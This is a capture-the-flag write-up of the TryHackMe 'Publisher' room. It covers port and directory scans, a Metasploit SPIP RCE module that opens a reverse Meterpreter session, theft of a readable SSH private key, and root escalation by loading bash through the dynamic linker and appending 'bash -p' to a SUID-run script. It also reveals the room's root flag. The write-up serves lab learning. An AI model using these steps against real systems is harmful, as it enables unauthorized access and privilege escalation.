Post

TryHackMe: Publisher

TryHackMe: Publisher

Publisher was the best room so far in terms of me going to write-ups or watching walkthroughs. I only had doubts on the root flag and was able to get the rest all alone. Its all about practicing really. The room itself is fun and fairly easy, i liked it.

Room https://tryhackme.com/r/room/publisher

Initial Enumeration

Nmap Scan

We start by doing our usual nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -T4 -n -sC -sV -Pn -p- 10.10.184.54
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-28 16:29 GMT
Nmap scan report for 10.10.184.54
Host is up (0.056s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Publisher's Pulse: SPIP Insights & Tips
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.64 seconds

Web 80

Not much to see so we proceed to port 80:

Web 80

We find a website running spip, a software to make maganize style websites but after looking around for a bit we couldn’t find much.

Gobuster Scan

So our next step is scanning directories with Gobuster:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x ".html,.txt,.php" -t 25 --timeout 20s -u http://10.10.184.54:80/ 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.184.54:80/
[+] Method:                  GET
[+] Threads:                 25
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php
[+] Timeout:                 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/images               (Status: 301) [Size: 313] [--> http://10.10.184.54/images/]
/.php                 (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 8686]
/spip                 (Status: 301) [Size: 311] [--> http://10.10.184.54/spip/]
/server-status        (Status: 403) [Size: 277]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

We find one useful directory, called spip, and navigating to it we see the following page:

Web 80 SPIP

I genuinely forgot to check the source code. Inside had the spip version that we could use to search for exploits. Either ways are fine but not checking the source code is a bad habit.

And at the page footer there’s an option saying ‘Se connecter’ that translated means Connect, and after clicking on it we are redirected to a login page:

Web 80 SPIP Login

Shell as www-data

After trying some default credentials i couldn’t login, so i decided to search inside metasploit for exploits:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Desktop]
└─$ msfconsole                                
...

msf6 > search spip

Matching Modules
================

   #   Name                                             Disclosure Date  Rank       Check  Description
   -   ----                                             ---------------  ----       -----  -----------
   0   exploit/multi/http/spip_bigup_unauth_rce         2024-09-06       excellent  Yes    SPIP BigUp Plugin Unauthenticated RCE
   1     \_ target: PHP In-Memory                       .                .          .      .
   2     \_ target: Unix/Linux Command Shell            .                .          .      .
   3     \_ target: Windows Command Shell               .                .          .      .
   4   exploit/multi/http/spip_porte_plume_previsu_rce  2024-08-16       excellent  Yes    SPIP Unauthenticated RCE via porte_plume Plugin
   5     \_ target: PHP In-Memory                       .                .          .      .
   6     \_ target: Unix/Linux Command Shell            .                .          .      .
   7     \_ target: Windows Command Shell               .                .          .      .
   8   exploit/multi/http/spip_connect_exec             2012-07-04       excellent  Yes    SPIP connect Parameter PHP Injection
   9     \_ target: PHP In-Memory                       .                .          .      .
   10    \_ target: Unix/Linux Command Shell            .                .          .      .
   11    \_ target: Windows Command Shell               .                .          .      .
   12  exploit/multi/http/spip_rce_form                 2023-02-27       excellent  Yes    SPIP form PHP Injection
   13    \_ target: PHP In-Memory                       .                .          .      .
   14    \_ target: Unix/Linux Command Shell            .                .          .      .
   15    \_ target: Windows Command Shell               .                .          .      .

There are 4 exploits available:

  • spip_bigup_unauth_rce
  • spip_porte_plume_previsu_rce
  • spip_connect_exec
  • spip_rce_form

Based on the information we got so far the spip_rce_form is our best option so, we set the options and try to exploit it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 exploit(multi/http/spip_rce_form) > set rhosts 10.10.184.54
rhosts => 10.10.184.54
msf6 exploit(multi/http/spip_rce_form) > set targeturi /spip
targeturi => /spip
msf6 exploit(multi/http/spip_rce_form) > exploit

[*] Started reverse TCP handler on [REDACTED]:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 4.2.0
[+] The target appears to be vulnerable. The detected SPIP version (4.2.0) is vulnerable.
[*] Got anti-csrf token: AKXEs4U6r36PZ5LnRZXtHvxQ/ZZYCXnJB2crlmVwgtlVVXwXn/MCLPMydXPZCL/WsMlnvbq2xARLr6toNbdfE/YV7egygXhx
[*] 10.10.184.54:80 - Attempting to exploit...
[*] Sending stage (40004 bytes) to 10.10.184.54
[*] Meterpreter session 1 opened ([REDACTED]:4444 -> 10.10.184.54:43108) at 2025-01-28 16:42:10 +0000

meterpreter > 

Lucky enough we were able to get a shell as www-data, and going to the home directory we find one user, think, and inside it we find the user flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
meterpreter > ls
Listing: /home/think
====================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
020666/rw-rw-rw-  0     cha   2025-01-28 16:28:12 +0000  .bash_history
100644/rw-r--r--  220   fil   2023-11-14 08:57:26 +0000  .bash_logout
100644/rw-r--r--  3771  fil   2023-11-14 08:57:26 +0000  .bashrc
040700/rwx------  4096  dir   2023-11-14 08:57:24 +0000  .cache
040700/rwx------  4096  dir   2023-12-08 13:07:22 +0000  .config
040700/rwx------  4096  dir   2024-02-10 21:22:33 +0000  .gnupg
040775/rwxrwxr-x  4096  dir   2024-01-10 12:46:09 +0000  .local
100644/rw-r--r--  807   fil   2023-11-14 08:57:24 +0000  .profile
020666/rw-rw-rw-  0     cha   2025-01-28 16:28:12 +0000  .python_history
040755/rwxr-xr-x  4096  dir   2024-01-10 12:54:17 +0000  .ssh
020666/rw-rw-rw-  0     cha   2025-01-28 16:28:12 +0000  .viminfo
040750/rwxr-x---  4096  dir   2023-12-20 19:05:25 +0000  spip
100644/rw-r--r--  35    fil   2024-02-10 21:20:39 +0000  user.txt

meterpreter > cat user.txt
[REDACTED]
meterpreter > 

Shell as think

We also see that we have read permissions to think’s .ssh and going inside we find the id_rsa that we can download to our machine and try to log into think’s machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
meterpreter > cd .ssh
meterpreter > ls -la
Listing: /home/think/.ssh
=========================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  569   fil   2024-01-10 12:54:17 +0000  authorized_keys
100644/rw-r--r--  2602  fil   2024-01-10 12:48:14 +0000  id_rsa
100644/rw-r--r--  569   fil   2024-01-10 12:48:14 +0000  id_rsa.pub

meterpreter > download id_rsa
[*] Downloading: id_rsa -> /home/kali/Desktop/id_rsa
[*] Downloaded 2.54 KiB of 2.54 KiB (100.0%): id_rsa -> /home/kali/Desktop/id_rsa
[*] Completed  : id_rsa -> /home/kali/Desktop/id_rsa

And we are in, simple as that:

1
2
3
4
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i id_rsa think@10.10.184.54
...
think@publisher:~$ 

Shell as root

After some enumeration, when looking at SUID binaries we find a weird binary, run_container:

1
2
3
4
think@publisher:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
...
-rwsr-sr-x 1 root root 16760 Nov 14  2023 /usr/sbin/run_container
...

There are better ways to search for binaries this was just some already made code i had on a list. Most common way would be with find / -type f -perm -u=s 2>/dev/null.

Since its not a common binary we can go try to run it and see what it does:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
think@publisher:/usr/sbin$ run_container
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 44 minutes

Enter the ID of the container or leave blank to create a new one:
/opt/run_container.sh: line 16: validate_container_id: command not found

OPTIONS:
1) Start Container
2) Stop Container
3) Restart Container
4) Create Container
5) Quit
Choose an action for a container: 5
Exiting...

We see that its running some script from the /opt directory but we don’t have permission to list the files inside. But we can read the run_container file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
think@publisher:~$ cat /opt/run_container.sh
#!/bin/bash

# Function to list Docker containers
list_containers() {
    if [ -z "$(docker ps -aq)" ]; then
        docker run -d --restart always -p 8000:8000 -v /home/think:/home/think 4b5aec41d6ef;
    fi
    echo "List of Docker containers:"
    docker ps -a --format "ID: {{.ID}} | Name: {{.Names}} | Status: {{.Status}}"
    echo ""
}

# Function to prompt user for container ID
prompt_container_id() {
    read -p "Enter the ID of the container or leave blank to create a new one: " container_id
    validate_container_id "$container_id"
}

# Function to display options and perform actions
select_action() {
    echo ""
    echo "OPTIONS:"
    local container_id="$1"
    PS3="Choose an action for a container: "
    options=("Start Container" "Stop Container" "Restart Container" "Create Container" "Quit")

    select opt in "${options[@]}"; do
        case $REPLY in
            1) docker start "$container_id"; break ;;
            2)  if [ $(docker ps -q | wc -l) -lt 2 ]; then
                    echo "No enough containers are currently running."
                    exit 1
                fi
                docker stop "$container_id"
                break ;;
            3) docker restart "$container_id"; break ;;
            4) echo "Creating a new container..."
               docker run -d --restart always -p 80:80 -v /home/think:/home/think spip-image:latest 
               break ;;
            5) echo "Exiting..."; exit ;;
            *) echo "Invalid option. Please choose a valid option." ;;
        esac
    done
}

# Main script execution
list_containers
prompt_container_id  # Get the container ID from prompt_container_id function
select_action "$container_id"  # Pass the container ID to select_action function

Nothing much that we could use but we can try to write something to the run_container file to check for writing permissions:

1
2
think@publisher:/opt$ echo "test" >> /opt/run_container.sh
-ash: /opt/run_container.sh: Permission denied

It gives us permission denied but not with bash, with an ash shell. Going after this ash shell we only find one file:

1
2
think@publisher:/usr/sbin$ find / -type f -name ash 2>/dev/null
/usr/sbin/ash

Doing a simple strings on it the first few lines are:

1
2
3
4
5
6
7
think@publisher:/usr/sbin$ strings ash
/lib64/ld-linux-x86-64.so.2
 $DJ
CDDB
E % 
0`0 
...

Since we know that ash is being loaded with the /lib64/ld-linux-x86-64.so.2 we could try loading bash instead and possibly bypassing any restrictions made on ash shell:

1
2
3
think@publisher:/opt$ /lib64/ld-linux-x86-64.so.2 /bin/bash
think@publisher:/opt$ ls
containerd  dockerfile  run_container.sh

And it worked! We can now write inside run_container and as we are using bash now, we can simply write bash -p to the script and run the command again to get to root level:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
think@publisher:/opt$ echo "bash -p" >> run_container.sh
think@publisher:/opt$ run_container
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up About an hour

Enter the ID of the container or leave blank to create a new one: 
/opt/run_container.sh: line 16: validate_container_id: command not found

OPTIONS:
1) Start Container
2) Stop Container
3) Restart Container
4) Create Container
5) Quit
Choose an action for a container: 1
Error response from daemon: page not found
Error: failed to start containers: 
bash-5.0# whoami
root

Now we just have to go to the root’s folder and get the flag:

1
2
3
4
5
6
7
bash-5.0# pwd
/root
bash-5.0# ls
root.txt  spip
bash-5.0# cat root.txt
3a4225cc9e85709adda6ef55d6a4f2ca  
bash-5.0# 
This post is licensed under CC BY 4.0 by the author.